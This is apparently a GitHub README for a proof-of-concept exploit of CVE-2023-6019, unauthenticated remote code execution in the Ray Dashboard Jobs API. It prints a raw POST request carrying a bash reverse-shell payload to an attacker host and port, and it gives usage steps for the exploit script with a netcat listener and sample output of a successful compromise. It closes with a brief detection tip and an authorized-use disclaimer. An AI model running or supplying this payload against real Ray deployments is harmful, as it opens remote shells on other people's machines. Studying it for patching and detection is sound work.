joaquinrrr/cve-2023-6019PoC exploit for CVE-2023-6019 targeting unauthenticated Remote Code Execution in Anyscale Ray Dashboard via the Jobs API. Delivers a reverse shell on vulnerable Ray instances (< 2.6.4).
PoC exploit for CVE-2023-6019 — Remote Code Execution via unauthenticated Ray Dashboard Jobs API.
Made by oguiii
Anyscale Ray is an open-source framework for distributed ML/AI workloads. Versions prior to 2.6.4 expose a Jobs submission API through the Ray Dashboard (default port 8265) without any authentication, allowing an unauthenticated attacker to submit arbitrary jobs and achieve Remote Code Execution on the host.
The /api/jobs/ endpoint accepts a JSON payload with an entrypoint field that gets executed as a shell command by the Ray worker process - no credentials required.
POST /api/jobs/ HTTP/1.1
Host: <target>:8265
Content-Type: application/json
{
"entrypoint": "bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'",
"runtime_env": {},
"job_id": null,
"metadata": {}
}
git clone https://github.com/joaquinrrr/CVE-2023-6019
cd CVE-2023-6019
pip install requests
python3 CVE-2023-6019.py -t <TARGET_IP> -p <PORT> -l <LHOST> -lp <LPORT>
| Flag | Description | Default |
|---|---|---|
-t | Target IP or hostname | required |
-p | Ray Dashboard port | 8265 |
-l | Attacker IP (reverse shell) | required |
-lp | Attacker port (reverse shell) | required |
# Start listener
nc -lvnp 4444
# Run exploit
python3 CVE-2023-6019.py -t 192.168.1.100 -p 8265 -l 192.168.1.10 -lp 4444
[*] Checking Ray version at 192.168.1.100:8265...
[*] Ray API version : 4
[*] Ray version : 2.6.3
[+] VULNERABLE! Ray 2.6.3 is affected by CVE-2023-6019
[*] Target : http://192.168.1.100:8265/api/jobs/
[*] Reverse shell : 192.168.1.10:4444
[*] Submitting job...
[+] Job submitted successfully!
[+] Job ID: raysubmit_Gztg89LZuTa8Jevc
[>] Make sure your listener is ready:
nc -lvnp 4444
Look for unexpected POST requests to /api/jobs/ on port 8265 in your HTTP logs or network traffic.
This tool is intended for authorized penetration testing and educational purposes only.
The author is not responsible for any misuse or damage caused by this tool.
Always obtain proper written authorization before testing.